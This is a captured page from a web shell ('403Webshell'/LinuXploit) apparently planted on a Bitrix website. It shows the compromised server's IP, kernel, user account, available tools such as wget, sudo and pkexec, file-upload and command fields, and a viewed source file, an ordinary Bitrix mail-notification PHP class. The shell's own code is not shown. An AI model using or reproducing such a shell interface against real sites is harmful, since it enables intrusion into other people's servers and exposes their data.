403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/V2/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/V2/Mail.php
<?php

namespace Bitrix\Im\V2;

use Bitrix\Im\Model\MessageUnreadTable;
use Bitrix\Main\Config\Option;
use Bitrix\Main\Type\DateTime;

class Mail
{
	protected const LAST_SEND_MESSAGE = 'last_send_mail_message';
	protected const LAST_SEND_NOTIFICATION = 'last_send_mail_notification';
	protected const SEND_DELAY_OPTION_NAME = 'send_mail_delay_seconds';
	protected const MODULE_ID = 'im';

	protected const DEFAULT_SEND_DELAY = 600;

	/**
	 * todo: Make private later
	 * @return array
	 */
	public function getMessageIdsToSend(): array
	{
		$lastSend = (int)Option::get(static::MODULE_ID, self::LAST_SEND_MESSAGE, 0);

		return $this->getMessageIdsToSendByType(\IM_MESSAGE_PRIVATE, $lastSend);
	}

	/**
	 * todo: Make private later
	 * @return array
	 */
	public function getNotificationIdsToSend(?int $limit = null): array
	{
		$lastSend = (int)Option::get(static::MODULE_ID, self::LAST_SEND_NOTIFICATION, 0);

		return $this->getMessageIdsToSendByType(\IM_MESSAGE_SYSTEM, $lastSend, $limit);
	}

	protected function getMessageIdsToSendByType(string $type, int $lastSend, ?int $limit = null): array
	{
		$sendDelayInSeconds = (int)Option::get(static::MODULE_ID, self::SEND_DELAY_OPTION_NAME, self::DEFAULT_SEND_DELAY);
		$sendDelayInSeconds = abs($sendDelayInSeconds);
		$readDeadline = (new DateTime())->add("-{$sendDelayInSeconds} seconds");
		$query = MessageUnreadTable::query()
			->setSelect(['MESSAGE_ID'])
			->where('MESSAGE_ID', '>', $lastSend)
			->where('CHAT_TYPE', $type)
			->where('DATE_CREATE', '<', $readDeadline)
		;

		if (isset($limit))
		{
			$query->setLimit($limit);
		}

		return $query
			->fetchCollection()
			->getMessageIdList()
		;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit